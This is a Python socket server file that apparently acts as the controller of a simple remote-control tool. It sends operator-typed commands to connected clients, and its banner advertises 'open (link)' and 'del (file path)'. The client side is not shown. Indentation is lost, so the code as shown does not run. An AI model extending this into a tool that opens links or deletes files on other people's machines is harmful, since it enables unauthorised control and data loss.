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server.py
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65 lines (51 loc) · 1.91 KB
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import socket
import threading
def header():
print("[*]COMMANDS[*]")
print("[*]open (link)[*]")
print("[*]del (file path)[*]")
class SERVER:
def __init__(self, host, port):
self.host = host
self.port = port
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def server_socket(self):
self.server.bind((self.host, self.port))
self.server.listen(4)
print("Server is listening to port...")
while True:
client_socket, client_address = self.server.accept()
print("Connection from", client_address)
# Handle each client in a separate thread
client_thread = threading.Thread(target=self.handle_client, args=(client_socket,))
client_thread.start()
def handle_client(self, client_socket):
try:
self.send_msg(client_socket)
self.recv_msg(client_socket)
except (ConnectionResetError, BrokenPipeError):
print("Client disconnected.")
def send_msg(self, client_socket):
while True:
message = input("command:")
if message == "":
break
else:
client_socket.send(message.encode())
def recv_msg(self, client_socket):
while True:
client_status = client_socket.recv(1024)
if not client_status:
break
print(client_status.decode())
if __name__ == "__main__":
header()
server = SERVER('127.0.0.1', 9999)
# Start the server_socket method in a separate thread
server_thread = threading.Thread(target=server.server_socket)
server_thread.start()
# Allow the main thread to wait for the server_thread to finish (press Ctrl+C to stop)
try:
server_thread.join()
except KeyboardInterrupt:
print("Server stopped.")